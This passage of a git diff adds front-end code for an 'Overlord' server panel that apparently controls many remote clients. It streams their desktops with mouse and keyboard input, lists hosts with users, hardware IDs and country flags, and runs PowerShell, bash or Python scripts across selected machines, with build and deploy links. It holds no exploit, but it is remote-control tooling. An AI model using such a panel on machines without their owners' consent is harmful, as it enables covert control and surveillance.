"proxy_start", port }); +} + +function stopProxy() { + addLog("Sending stop command...", "info"); + send({ type: "proxy_stop" }); +} + +// Event listeners +startBtn.addEventListener("click", startProxy); +stopBtn.addEventListener("click", stopProxy); + +// Initialize +connect(); + +// Clear initial placeholder +setTimeout(() => { + if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) { + logContainer.innerHTML = ""; + } +}, 1000); diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js new file mode 100644 index 0000000..4ae1314 --- /dev/null +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -0,0 +1,669 @@ +import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; + +(function () { + const clientId = new URLSearchParams(location.search).get("clientId"); + if (!clientId) { + alert("Missing clientId"); + return; + } + const clientLabel = document.getElementById("clientLabel"); + clientLabel.textContent = clientId; + + const ws = new WebSocket( + (location.protocol === "https:" ? "wss://" : "ws://") + + location.host + + "/api/clients/" + + clientId + + "/rd/ws", + ); + const displaySelect = document.getElementById("displaySelect"); + const refreshBtn = document.getElementById("refreshDisplays"); + const startBtn = document.getElementById("startBtn"); + const stopBtn = document.getElementById("stopBtn"); + const fullscreenBtn = document.getElementById("fullscreenBtn"); + const mouseCtrl = document.getElementById("mouseCtrl"); + const kbdCtrl = document.getElementById("kbdCtrl"); + const cursorCtrl = document.getElementById("cursorCtrl"); + const duplicationCtrl = document.getElementById("duplicationCtrl"); + const smoothingSlider = document.getElementById("smoothingSlider"); + const smoothingValue = document.getElementById("smoothingValue"); + const qualitySlider = document.getElementById("qualitySlider"); + const qualityValue = document.getElementById("qualityValue"); + const canvas = document.getElementById("frameCanvas"); + const canvasContainer = document.getElementById("canvasContainer"); + const ctx = canvas.getContext("2d"); + const agentFps = document.getElementById("agentFps"); + const viewerFps = document.getElementById("viewerFps"); + const inputLatency = document.getElementById("inputLatency"); + const statusEl = document.getElementById("streamStatus"); + ws.binaryType = "arraybuffer"; + + let activeClientId = clientId; + let renderCount = 0; + let renderWindowStart = performance.now(); + let lastFrameAt = 0; + let desiredStreaming = false; + let streamState = "connecting"; + let frameWatchTimer = null; + let offlineTimer = null; + let frameWidth = 0; + let frameHeight = 0; + let latencyAvg = null; + let smoothingPct = 20; + let smoothPoint = null; + let pendingMove = null; + let moveTimer = null; + const mouseMoveIntervalMs = 33; + const inputBackpressureBytes = 256 * 1024; + let lastMoveSentAt = 0; + setStreamState("connecting", "Connecting"); + + function updateFpsDisplay(agentValue) { + if (agentValue !== undefined && agentValue !== null && agentFps) { + agentFps.textContent = String(agentValue); + } + const now = performance.now(); + renderCount += 1; + const elapsed = now - renderWindowStart; + if (elapsed >= 1000 && viewerFps) { + const fps = Math.round((renderCount * 1000) / elapsed); + viewerFps.textContent = String(fps); + renderCount = 0; + renderWindowStart = now; + } + } + + function setStreamState(state, text) { + streamState = state; + if (statusEl) { + const icons = { + connecting: '', + starting: '', + stopping: '', + streaming: '', + idle: '', + stalled: '', + offline: '', + disconnected: '', + error: '', + }; + const label = text || + (state === "streaming" ? "Streaming" : + state === "starting" ? "Starting" : + state === "stopping" ? "Stopping" : + state === "offline" ? "Client offline" : + state === "disconnected" ? "Disconnected" : + state === "stalled" ? "No frames" : + state === "idle" ? "Stopped" : + "Connecting"); + + statusEl.innerHTML = `${icons[state] || icons.idle} ${label}`; + const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm"; + const styles = { + streaming: "bg-emerald-900/40 text-emerald-100 border-emerald-700/70", + starting: "bg-sky-900/40 text-sky-100 border-sky-700/70", + stopping: "bg-amber-900/40 text-amber-100 border-amber-700/70", + stalled: "bg-amber-900/40 text-amber-100 border-amber-700/70", + offline: "bg-rose-900/40 text-rose-100 border-rose-700/70", + error: "bg-rose-900/40 text-rose-100 border-rose-700/70", + disconnected: "bg-slate-800 text-slate-300 border-slate-700", + idle: "bg-slate-800 text-slate-300 border-slate-700", + connecting: "bg-slate-800 text-slate-300 border-slate-700", + }; + statusEl.className = `${base} ${styles[state] || styles.idle}`; + } + + if (canvasContainer) { + canvasContainer.dataset.streamState = state; + } + + if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") { + if (agentFps) agentFps.textContent = "--"; + if (viewerFps) viewerFps.textContent = "--"; + renderCount = 0; + renderWindowStart = performance.now(); + } + + updateControls(); + } + + function updateControls() { + const wsOpen = ws.readyState === WebSocket.OPEN; + const isStarting = streamState === "starting"; + const isStreaming = streamState === "streaming"; + const isStopping = streamState === "stopping"; + const isStalled = streamState === "stalled"; + const isBlocked = streamState === "offline" || streamState === "disconnected" || streamState === "error"; + + if (startBtn) { + startBtn.disabled = !wsOpen || isStarting || isStreaming || isStopping || isBlocked; + } + if (stopBtn) { + stopBtn.disabled = !wsOpen || (!isStarting && !isStreaming && !isStopping && !isStalled); + } + } + + function updateLatency(ms) { + if (ms < 0 || !Number.isFinite(ms)) return; + latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2; + if (inputLatency) { + inputLatency.textContent = `${Math.round(latencyAvg)} ms`; + } + } + + function clearOfflineTimer() { + if (offlineTimer) { + clearTimeout(offlineTimer); + offlineTimer = null; + } + } + + function scheduleOffline(reason) { + clearOfflineTimer(); + setStreamState("connecting", "Reconnecting"); + offlineTimer = setTimeout(() => { + const now = performance.now(); + if (!lastFrameAt || now - lastFrameAt > 3000) { + desiredStreaming = false; + setStreamState("offline", reason || "Client offline"); + } + }, 3000); + } + + function handleStatus(msg) { + if (!msg || msg.type !== "status" || !msg.status) return; + if (msg.status === "offline") { + scheduleOffline(msg.reason); + return; + } + if (msg.status === "connecting") { + clearOfflineTimer(); + setStreamState("connecting", "Connecting"); + return; + } + if (msg.status === "online") { + clearOfflineTimer(); + if (desiredStreaming) { + setStreamState("starting", "Reconnecting"); + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("desktop_select_display", { + display: parseInt(displaySelect.value, 10) || 0, + }); + } + sendCmd("desktop_start", {}); + } else { + setStreamState("idle", "Stopped"); + } + } + } + + function sendCmd(type, payload) { + if (!activeClientId) { + console.warn("No active client selected"); + return; + } + if (ws.readyState !== WebSocket.OPEN) { + return; + } + const msg = { type, ...payload }; + console.debug("rd: send", msg); + ws.send(encodeMsgpack(msg)); + } + + let monitors = 1; + + function populateDisplays(count, monitorInfo) { + displaySelect.innerHTML = ""; + const infoList = Array.isArray(monitorInfo) ? monitorInfo : null; + monitors = (infoList && infoList.length) ? infoList.length : (count || 1); + for (let i = 0; i < monitors; i++) { + const opt = document.createElement("option"); + opt.value = i; + const info = infoList && infoList[i]; + const w = info && Number(info.width); + const h = info && Number(info.height); + const sizeLabel = w > 0 && h > 0 ? ` (${w}x${h})` : ""; + opt.textContent = "Display " + (i + 1) + sizeLabel; + displaySelect.appendChild(opt); + } + + if (displaySelect.options.length) { + displaySelect.value = displaySelect.options[0].value; + } + } + + async function fetchClientInfo() { + try { + const res = await fetch("/api/clients"); + const data = await res.json(); + const client = data.items.find((c) => c.id === activeClientId); + if (client) { + clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`; + } + if (client) { + populateDisplays(client.monitors, client.monitorInfo); + } + if (duplicationCtrl) { + const os = (client?.os || "").toLowerCase(); + const isWindows = os.includes("windows") || os.includes("win"); + duplicationCtrl.disabled = !isWindows; + if (!isWindows) { + duplicationCtrl.checked = false; + } + } + } catch (e) { + console.warn("failed to fetch client info", e); + } + } + + refreshBtn.addEventListener("click", fetchClientInfo); + + function updateQualityLabel(val) { + if (qualityValue) { + qualityValue.textContent = `${val}%`; + } + } + + function updateSmoothingLabel(val) { + if (smoothingValue) { + smoothingValue.textContent = `${val}%`; + } + } + + function pushQuality(val) { + const q = Number(val) || 90; + const codec = q >= 100 ? "raw" : "jpeg"; + console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec); + sendCmd("desktop_set_quality", { quality: q, codec }); + } + + displaySelect.addEventListener("change", function () { + console.debug("rd: select display", displaySelect.value); + sendCmd("desktop_select_display", { + display: parseInt(displaySelect.value, 10), + }); + }); + + startBtn.addEventListener("click", function () { + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("desktop_select_display", { + display: parseInt(displaySelect.value, 10) || 0, + }); + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + desiredStreaming = true; + lastFrameAt = 0; + setStreamState("starting", "Starting stream"); + sendCmd("desktop_start", {}); + }); + stopBtn.addEventListener("click", function () { + desiredStreaming = false; + setStreamState("stopping", "Stopping stream"); + sendCmd("desktop_stop", {}); + }); + fullscreenBtn.addEventListener("click", function () { + if (canvasContainer.requestFullscreen) { + canvasContainer.requestFullscreen(); + } else if (canvasContainer.webkitRequestFullscreen) { + canvasContainer.webkitRequestFullscreen(); + } else if (canvasContainer.mozRequestFullScreen) { + canvasContainer.mozRequestFullScreen(); + } + }); + if (mouseCtrl) { + mouseCtrl.checked = false; + } + if (kbdCtrl) { + kbdCtrl.checked = false; + } + if (duplicationCtrl) { + duplicationCtrl.checked = false; + } + + function pushInputToggles() { + if (mouseCtrl) { + sendCmd("desktop_enable_mouse", { enabled: !!mouseCtrl.checked }); + } + if (kbdCtrl) { + sendCmd("desktop_enable_keyboard", { enabled: !!kbdCtrl.checked }); + } + } + + function pushCaptureToggles() { + if (cursorCtrl) { + sendCmd("desktop_enable_cursor", { enabled: cursorCtrl.checked }); + } + if (duplicationCtrl && !duplicationCtrl.disabled) { + sendCmd("desktop_set_duplication", { enabled: !!duplicationCtrl.checked }); + } + } + + mouseCtrl.addEventListener("change", function () { + pushInputToggles(); + }); + kbdCtrl.addEventListener("change", function () { + if (kbdCtrl.checked) { + canvas.focus(); + } + pushInputToggles(); + }); + cursorCtrl.addEventListener("change", function () { + pushCaptureToggles(); + }); + if (duplicationCtrl) { + duplicationCtrl.addEventListener("change", function () { + pushCaptureToggles(); + }); + } + + if (qualitySlider) { + updateQualityLabel(qualitySlider.value); + qualitySlider.addEventListener("input", function () { + updateQualityLabel(qualitySlider.value); + pushQuality(qualitySlider.value); + }); + } + + if (smoothingSlider) { + updateSmoothingLabel(smoothingSlider.value); + smoothingSlider.addEventListener("input", function () { + smoothingPct = Number(smoothingSlider.value) || 0; + updateSmoothingLabel(smoothingSlider.value); + }); + } + + ws.addEventListener("message", async function (ev) { + if (ev.data instanceof ArrayBuffer) { + const buf = new Uint8Array(ev.data); + if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { + const fps = buf[5]; + const format = buf[6]; + lastFrameAt = performance.now(); + clearOfflineTimer(); + if (streamState !== "streaming") { + if (desiredStreaming) { + setStreamState("streaming", "Streaming"); + } + } + + if (format === 1) { + const jpegBytes = buf.slice(8); + const blob = new Blob([jpegBytes], { type: "image/jpeg" }); + try { + const bitmap = await createImageBitmap(blob); + frameWidth = bitmap.width || frameWidth; + frameHeight = bitmap.height || frameHeight; + canvas.width = bitmap.width; + canvas.height = bitmap.height; + ctx.drawImage(bitmap, 0, 0); + bitmap.close(); + updateFpsDisplay(fps); + } catch { + const img = new Image(); + const url = URL.createObjectURL(blob); + img.onload = function () { + frameWidth = img.width || frameWidth; + frameHeight = img.height || frameHeight; + canvas.width = img.width; + canvas.height = img.height; + ctx.drawImage(img, 0, 0); + URL.revokeObjectURL(url); + updateFpsDisplay(fps); + }; + img.src = url; + } + return; + } + + if (format === 2 || format === 3) { + if (buf.length < 8 + 8) return; + const dv = new DataView(buf.buffer, 8); + let pos = 0; + const width = dv.getUint16(pos, true); + pos += 2; + const height = dv.getUint16(pos, true); + pos += 2; + if (width > 0 && height > 0) { + frameWidth = width; + frameHeight = height; + } + const blockCount = dv.getUint16(pos, true); + pos += 2; + pos += 2; + + if ( + width > 0 && + height > 0 && + (canvas.width !== width || canvas.height !== height) + ) { + canvas.width = width; + canvas.height = height; + } + for (let i = 0; i < blockCount; i++) { + if (pos + 12 > dv.byteLength) break; + const x = dv.getUint16(pos, true); + pos += 2; + const y = dv.getUint16(pos, true); + pos += 2; + const w = dv.getUint16(pos, true); + pos += 2; + const h = dv.getUint16(pos, true); + pos += 2; + const len = dv.getUint32(pos, true); + pos += 4; + const start = 8 + pos; + const end = start + len; + if (end > buf.length) break; + const slice = buf.subarray(start, end); + pos += len; + if (format === 2) { + try { + const bitmap = await createImageBitmap( + new Blob([slice], { type: "image/jpeg" }), + ); + ctx.drawImage(bitmap, x, y, w, h); + bitmap.close(); + } catch {} + } else { + if (slice.length === w * h * 4) { + const imgData = new ImageData(new Uint8ClampedArray(slice), w, h); + ctx.putImageData(imgData, x, y); + } + } + } + updateFpsDisplay(fps); + return; + } + } + + const msg = decodeMsgpack(buf); + if (msg && msg.type === "status" && msg.status) { + handleStatus(msg); + return; + } + if (msg && msg.type === "input_latency") { + updateLatency(Number(msg.ms) || 0); + return; + } + return; + } + + const msg = decodeMsgpack(ev.data); + if (msg && msg.type === "status" && msg.status) { + handleStatus(msg); + return; + } + if (msg && msg.type === "input_latency") { + updateLatency(Number(msg.ms) || 0); + return; + } + }); + + ws.addEventListener("open", function () { + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + pushInputToggles(); + pushCaptureToggles(); + clearOfflineTimer(); + setStreamState("idle", "Stopped"); + fetchClientInfo().then(() => { + if (displaySelect && displaySelect.value) { + console.debug("rd: initial select display", displaySelect.value); + sendCmd("desktop_select_display", { + display: parseInt(displaySelect.value, 10), + }); + } + }); + }); + + ws.addEventListener("close", function () { + desiredStreaming = false; + setStreamState("disconnected", "Disconnected"); + }); + + ws.addEventListener("error", function () { + setStreamState("error", "WebSocket error"); + }); + + if (!frameWatchTimer) { + frameWatchTimer = setInterval(() => { + const now = performance.now(); + if (desiredStreaming) { + if (lastFrameAt && now - lastFrameAt > 2000) { + setStreamState("stalled", "No frames"); + } else if (!lastFrameAt && streamState === "starting") { + setStreamState("starting", "Starting stream"); + } + } else if (streamState !== "offline" && streamState !== "disconnected" && streamState !== "error") { + if (lastFrameAt && now - lastFrameAt < 2000) { + if (streamState !== "stopping") { + setStreamState("stopping", "Stopping stream"); + } + } else if (streamState !== "idle") { + setStreamState("idle", "Stopped"); + } + } + }, 1000); + } + + function getCanvasPoint(e) { + let rect = canvas.getBoundingClientRect(); + if (!rect.width || !rect.height) { + rect = canvasContainer?.getBoundingClientRect() || rect; + } + const targetW = canvas.width || frameWidth; + const targetH = canvas.height || frameHeight; + if (!rect.width || !rect.height || !targetW || !targetH) return null; + let x = ((e.clientX - rect.left) / rect.width) * targetW; + let y = ((e.clientY - rect.top) / rect.height) * targetH; + if (!Number.isFinite(x) || !Number.isFinite(y)) return null; + x = Math.max(0, Math.min(targetW - 1, Math.floor(x))); + y = Math.max(0, Math.min(targetH - 1, Math.floor(y))); + return { x, y }; + } + + function flushMouseMove() { + moveTimer = null; + if (!pendingMove || !mouseCtrl.checked) return; + const now = performance.now(); + if (!smoothPoint) { + smoothPoint = { x: pendingMove.x, y: pendingMove.y }; + } + const factor = Math.max(0, Math.min(0.8, smoothingPct / 100)); + const alpha = 1 - factor; + smoothPoint.x += (pendingMove.x - smoothPoint.x) * alpha; + smoothPoint.y += (pendingMove.y - smoothPoint.y) * alpha; + + const sendPoint = { + x: Math.round(smoothPoint.x), + y: Math.round(smoothPoint.y), + }; + + if (now - lastMoveSentAt < mouseMoveIntervalMs) { + if (!moveTimer) { + moveTimer = setTimeout(flushMouseMove, mouseMoveIntervalMs); + } + return; + } + + lastMoveSentAt = now; + if (ws.bufferedAmount <= inputBackpressureBytes) { + sendCmd("mouse_move", sendPoint); + } + } + + canvas.addEventListener("mousemove", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (!pt) return; + pendingMove = pt; + if (!moveTimer) { + flushMouseMove(); + } + }); + canvas.addEventListener("mousedown", function (e) { + if (!mouseCtrl.checked) return; + canvas.focus(); + const pt = getCanvasPoint(e); + if (pt) { + pendingMove = pt; + smoothPoint = { x: pt.x, y: pt.y }; + sendCmd("mouse_move", pt); + } + sendCmd("mouse_down", { button: e.button, ...(pt || {}) }); + e.preventDefault(); + }); + canvas.addEventListener("mouseup", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (pt) { + pendingMove = pt; + smoothPoint = { x: pt.x, y: pt.y }; + sendCmd("mouse_move", pt); + } + sendCmd("mouse_up", { button: e.button, ...(pt || {}) }); + e.preventDefault(); + }); + canvas.addEventListener("contextmenu", function (e) { + e.preventDefault(); + }); + + canvas.setAttribute("tabindex", "0"); + canvas.addEventListener("click", function () { + canvas.focus(); + }); + canvas.addEventListener("keydown", function (e) { + if (!kbdCtrl.checked) return; + if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { + sendCmd("text_input", { text: e.key }); + e.preventDefault(); + return; + } + sendCmd("key_down", { key: e.key, code: e.code }); + e.preventDefault(); + }); + canvas.addEventListener("keyup", function (e) { + if (!kbdCtrl.checked) return; + if (!e.ctrlKey && !e.metaKey && !e.altKey && typeof e.key === "string" && e.key.length === 1) { + e.preventDefault(); + return; + } + sendCmd("key_up", { key: e.key, code: e.code }); + e.preventDefault(); + }); + + function stopOnExit() { + if (ws.readyState === WebSocket.OPEN && desiredStreaming) { + desiredStreaming = false; + sendCmd("desktop_stop", {}); + } + } + + window.addEventListener("beforeunload", stopOnExit); + window.addEventListener("pagehide", stopOnExit); + + fetchClientInfo(); +})(); diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js new file mode 100644 index 0000000..9675641 --- /dev/null +++ b/Overlord-Server/public/assets/render.js @@ -0,0 +1,292 @@ +import { + formatAgo, + formatPing, + countryToFlag, + osBadge, + archBadge, + versionBadge, + monitorsBadge, + shortId, +} from "./viewUtils.js"; + +function escapeHtml(text) { + const div = document.createElement("div"); + div.textContent = text; + return div.innerHTML; +} + +export function createRenderer({ + grid, + totalPill, + pageLabel, + openMenu, + openModal, + requestPreview, + requestThumbnail, + userRole, +}) { + const isViewer = userRole === "viewer"; + const MAX_ANIMATED_CARDS = 120; + const INSERT_BATCH_SIZE = 40; + let renderToken = 0; + + function renderMerge(data) { + totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`; + const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize)); + pageLabel.textContent = `Page ${data.page} of ${totalPages}`; + prevBtnState(data.page, totalPages); + + const items = data.items || []; + const seen = new Set(); + const newClients = []; + const renderId = ++renderToken; + const prefersReducedMotion = + typeof window !== "undefined" && + window.matchMedia && + window.matchMedia("(prefers-reduced-motion: reduce)").matches; + const animateLimit = Math.min(items.length, MAX_ANIMATED_CARDS); + const allowAnimation = !prefersReducedMotion && items.length <= 1000; + + items.forEach((client) => { + seen.add(client.id); + const existing = grid.querySelector(`article[data-id="${client.id}"]`); + if (existing) { + updateCard(existing, client); + return; + } + newClients.push(client); + }); + + Array.from(grid.querySelectorAll("article[data-id]")) + .filter((el) => !seen.has(el.dataset.id)) + .forEach((el) => el.remove()); + + if (newClients.length === 0) { + moveOfflineToBottom(); + return; + } + + let idx = 0; + const insertBatch = () => { + if (renderId !== renderToken) return; + const fragment = document.createDocumentFragment(); + for ( + let batch = 0; + batch < INSERT_BATCH_SIZE && idx < newClients.length; + batch++, idx++ + ) { + const client = newClients[idx]; + const shouldAnimate = allowAnimation && idx < animateLimit; + const card = buildCard(client, { + animate: shouldAnimate, + delayIndex: idx, + }); + fragment.appendChild(card); + } + grid.appendChild(fragment); + if (idx < newClients.length) { + requestAnimationFrame(insertBatch); + return; + } + + moveOfflineToBottom(); + }; + + insertBatch(); + } + + function moveOfflineToBottom() { + const cards = Array.from(grid.querySelectorAll("article[data-id]")); + if (cards.length === 0) return; + + const online = []; + const offline = []; + cards.forEach((card) => { + if (card.dataset.online === "true") { + online.push(card); + return; + } + offline.push(card); + }); + + if (offline.length === 0) return; + + const fragment = document.createDocumentFragment(); + online.forEach((card) => fragment.appendChild(card)); + offline.forEach((card) => fragment.appendChild(card)); + grid.appendChild(fragment); + } + + function prevBtnState(currentPage, totalPages) { + const prevBtn = document.getElementById("prev"); + const nextBtn = document.getElementById("next"); + if (prevBtn) prevBtn.disabled = currentPage <= 1; + if (nextBtn) nextBtn.disabled = currentPage >= totalPages; + } + + function buildCard(client, options = {}) { + const card = document.createElement("article"); + card.dataset.id = client.id; + card.dataset.hwid = client.hwid || ""; + updateCard(card, client); + card.addEventListener("contextmenu", (e) => { + e.preventDefault(); + if (isViewer) return; + const isOnline = card.dataset.online === "true"; + if (!isOnline) return; + const clientId = card.dataset.id; + if (!clientId) return; + const { clientX, clientY } = e; + openMenu(clientId, clientX, clientY); + }); + + if (options.animate) { + card.classList.add("card-animate"); + card.style.animationDelay = `${(options.delayIndex || 0) * 0.05}s`; + card.style.opacity = "0"; + card.style.transform = "translateY(10px)"; + if (typeof anime !== "undefined") { + requestAnimationFrame(() => { + anime({ + targets: card, + opacity: [0, 1], + translateY: [10, 0], + duration: 400, + easing: "easeOutQuad", + }); + }); + } + } + + return card; + } + + function updateCard(card, client) { + const oldCheckbox = card.querySelector(".client-checkbox"); + const wasChecked = oldCheckbox?.checked || false; + + card.dataset.online = String(!!client.online); + const os = osBadge(client.os || "unknown"); + const arch = archBadge(client.arch || ""); + const ver = versionBadge(client.version || ""); + const mons = monitorsBadge(client.monitors); + const deviceId = shortId(client.id); + const hwid = shortId(client.hwid || ""); + card.className = `card rounded-xl border border-slate-800 bg-slate-900/70 p-4 shadow-lg ${client.online ? "" : "card-offline"} tone-${os.tone}`; + const cardThumb = client.thumbnail + ? (() => { + const wrapper = document.createElement("div"); + wrapper.className = "flex-shrink-0"; + const img = document.createElement("img"); + img.className = + "w-40 h-24 rounded-lg border border-slate-800 object-cover cursor-pointer thumb-img"; + img.alt = "preview"; + img.src = client.thumbnail; + wrapper.appendChild(img); + return wrapper; + })() + : (() => { + const wrapper = document.createElement("div"); + wrapper.className = "flex-shrink-0"; + wrapper.innerHTML = `
`; + return wrapper; + })(); + + card.innerHTML = ` +
+
+ +
+
+
+
+ ${countryToFlag(client.country)} + ${escapeHtml(client.host || deviceId)} + ${escapeHtml(client.user || "unknown")} + + + ${client.online ? "Online" : "Offline"} + +
+
+ ${formatAgo(client.lastSeen)} + ${os.label} + ${arch.label} + ${ver.label} + ${mons.label} +
+
+ ID ${deviceId} + ${client.hwid ? `HW ${hwid}` : ""} +
+
+
+ ${formatPing(client.pingMs)} + ${isViewer ? "" : ``} + ${isViewer ? "" : ``} +
+
+ `; + + const thumbSlots = card.querySelectorAll(".flex-shrink-0"); + if (thumbSlots.length >= 2) { + thumbSlots[1].replaceWith(cardThumb); + } + + const checkbox = card.querySelector(".client-checkbox"); + if (checkbox) { + const isSelected = + typeof window.isClientSelected === "function" + ? window.isClientSelected(client.id) + : false; + + if ((wasChecked || isSelected) && client.online) { + checkbox.checked = true; + } + + checkbox.addEventListener("change", (e) => { + e.stopPropagation(); + if (window.toggleClientSelection) { + window.toggleClientSelection(client.id); + } + }); + } + + if (!isViewer) { + card.querySelector(".command-btn")?.addEventListener("click", (e) => { + e.stopPropagation(); + const rect = e.currentTarget.getBoundingClientRect(); + openMenu(client.id, rect.right, rect.bottom); + }); + card.querySelector(".ban-btn")?.addEventListener("click", (e) => { + e.stopPropagation(); + if (window.banClient) { + window.banClient(client.id); + } + }); + } + + card + .querySelector(".thumb-img") + ?.addEventListener("click", () => openModal(client.thumbnail)); + + card.onclick = (e) => { + if (e.target.closest(".command-btn") || e.target.closest("button")) + return; + if (e.target.closest(".client-checkbox")) return; + if (e.ctrlKey || e.metaKey || e.shiftKey) { + if (checkbox && !checkbox.disabled) { + checkbox.checked = !checkbox.checked; + if (window.toggleClientSelection) { + window.toggleClientSelection(client.id); + } + } + return; + } + if (!client.online) return; + requestThumbnail(client.id); + }; + } + + return { renderMerge }; +} diff --git a/Overlord-Server/public/assets/ripple.js b/Overlord-Server/public/assets/ripple.js new file mode 100644 index 0000000..f45683b --- /dev/null +++ b/Overlord-Server/public/assets/ripple.js @@ -0,0 +1,32 @@ +function addRippleEffect(element) { + element.classList.add("ripple"); + + element.addEventListener("click", function (e) { + this.classList.remove("ripple-active"); + + const rect = this.getBoundingClientRect(); + const x = e.clientX - rect.left; + const y = e.clientY - rect.top; + + this.style.setProperty("--x", x + "px"); + this.style.setProperty("--y", y + "px"); + + void this.offsetWidth; + + this.classList.add("ripple-active"); + + setTimeout(() => { + this.classList.remove("ripple-active"); + }, 600); + }); +} + +document.addEventListener("DOMContentLoaded", () => { + document + .querySelectorAll("button:not(.no-ripple), .button:not(.no-ripple)") + .forEach((btn) => { + addRippleEffect(btn); + }); +}); + +window.addRippleEffect = addRippleEffect; diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js new file mode 100644 index 0000000..0967de7 --- /dev/null +++ b/Overlord-Server/public/assets/scripts.js @@ -0,0 +1,621 @@ +const clientList = document.getElementById("client-list"); +const clientSearch = document.getElementById("client-search"); +const osFilter = document.getElementById("os-filter"); +const selectAllBtn = document.getElementById("select-all-btn"); +const clearSelectionBtn = document.getElementById("clear-selection-btn"); +const selectedCountSpan = document.getElementById("selected-count"); +const scriptEditor = document.getElementById("script-editor"); +const scriptType = document.getElementById("script-type"); +const executeBtn = document.getElementById("execute-btn"); +const outputContainer = document.getElementById("output-container"); +const clearOutputBtn = document.getElementById("clear-output-btn"); +const scriptSaveName = document.getElementById("script-save-name"); +const saveScriptBtn = document.getElementById("save-script-btn"); +const savedScriptsList = document.getElementById("saved-scripts-list"); +const autoTaskName = document.getElementById("auto-task-name"); +const autoTaskTrigger = document.getElementById("auto-task-trigger"); +const autoTaskSaveBtn = document.getElementById("auto-task-save-btn"); +const autoTaskCancelBtn = document.getElementById("auto-task-cancel-btn"); +const autoTaskList = document.getElementById("auto-task-list"); + +let allClients = []; +let filteredClients = []; +const selectedClients = new Set(); +const SAVED_SCRIPTS_KEY = "overlord_saved_scripts"; +let autoTasks = []; +let autoTaskEditingId = null; +let editorInstance = null; + +const EDITOR_MODES = { + powershell: "powershell", + bash: "shell", + cmd: "shell", + python: "python", + sh: "shell", +}; + +function getEditorValue() { + if (editorInstance) return editorInstance.getValue(); + return scriptEditor?.value || ""; +} + +function setEditorValue(value) { + if (editorInstance) { + editorInstance.setValue(value); + return; + } + if (scriptEditor) scriptEditor.value = value; +} + +function setEditorMode(type) { + if (!editorInstance) return; + const mode = EDITOR_MODES[type] || "powershell"; + editorInstance.setOption("mode", mode); +} + +async function checkAuth() { + try { + const res = await fetch("/api/auth/me"); + if (!res.ok) { + window.location.href = "/login.html"; + return; + } + + const data = await res.json(); + document.getElementById("username-display").textContent = data.username; + + const roleBadge = document.getElementById("role-badge"); + const roleBadges = { + admin: 'Admin', + operator: 'Operator', + viewer: 'Viewer', + }; + if (roleBadges[data.role]) { + roleBadge.innerHTML = roleBadges[data.role]; + } else { + roleBadge.textContent = data.role || ""; + } + + if (data.role === "admin") { + roleBadge.classList.add( + "bg-purple-900/50", + "text-purple-300", + "border", + "border-purple-800", + ); + } else if (data.role === "operator") { + roleBadge.classList.add( + "bg-blue-900/50", + "text-blue-300", + "border", + "border-blue-800", + ); + } else { + roleBadge.classList.add( + "bg-slate-700", + "text-slate-300", + "border", + "border-slate-600", + ); + } + + if (data.role === "admin") { + document.getElementById("metrics-link")?.classList.remove("hidden"); + document.getElementById("scripts-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + document.getElementById("deploy-link")?.classList.remove("hidden"); + document.getElementById("users-link")?.classList.remove("hidden"); + document.getElementById("plugins-link")?.classList.remove("hidden"); + } else if (data.role === "operator") { + document.getElementById("metrics-link")?.classList.remove("hidden"); + document.getElementById("scripts-link")?.classList.remove("hidden"); + document.getElementById("build-link")?.classList.remove("hidden"); + } + + if (data.role === "viewer") { + alert("Access denied. Operator or Admin role required."); + window.location.href = "/"; + } + } catch (err) { + console.error("Auth check failed:", err); + window.location.href = "/login.html"; + } +} + +async function loadClients() { + try { + const res = await fetch("/api/clients?pageSize=10000"); + if (!res.ok) throw new Error("Failed to load clients"); + + const data = await res.json(); + allClients = data.items.filter((c) => c.online); + + if (allClients.length === 0) { + clientList.innerHTML = '
No online clients available
'; + return; + } + + // Populate OS filter + const osList = new Set(allClients.map(c => c.os || "unknown")); + osFilter.innerHTML = '' + + Array.from(osList).sort().map(os => { + const count = allClients.filter(c => (c.os || "unknown") === os).length; + return ``; + }).join(""); + + filterAndRenderClients(); + } catch (error) { + console.error("Failed to load clients:", error); + clientList.innerHTML = '
Error loading clients
'; + } +} + +function filterAndRenderClients() { + const searchTerm = clientSearch.value.toLowerCase(); + const osValue = osFilter.value; + + filteredClients = allClients.filter(c => { + const matchesSearch = !searchTerm || + (c.host && c.host.toLowerCase().includes(searchTerm)) || + c.id.toLowerCase().includes(searchTerm) || + (c.os && c.os.toLowerCase().includes(searchTerm)) || + (c.user && c.user.toLowerCase().includes(searchTerm)); + + const matchesOs = osValue === "all" || (c.os || "unknown") === osValue; + + return matchesSearch && matchesOs; + }); + + renderClients(); +} + +function renderClients() { + if (filteredClients.length === 0) { + clientList.innerHTML = '
No clients match your filters
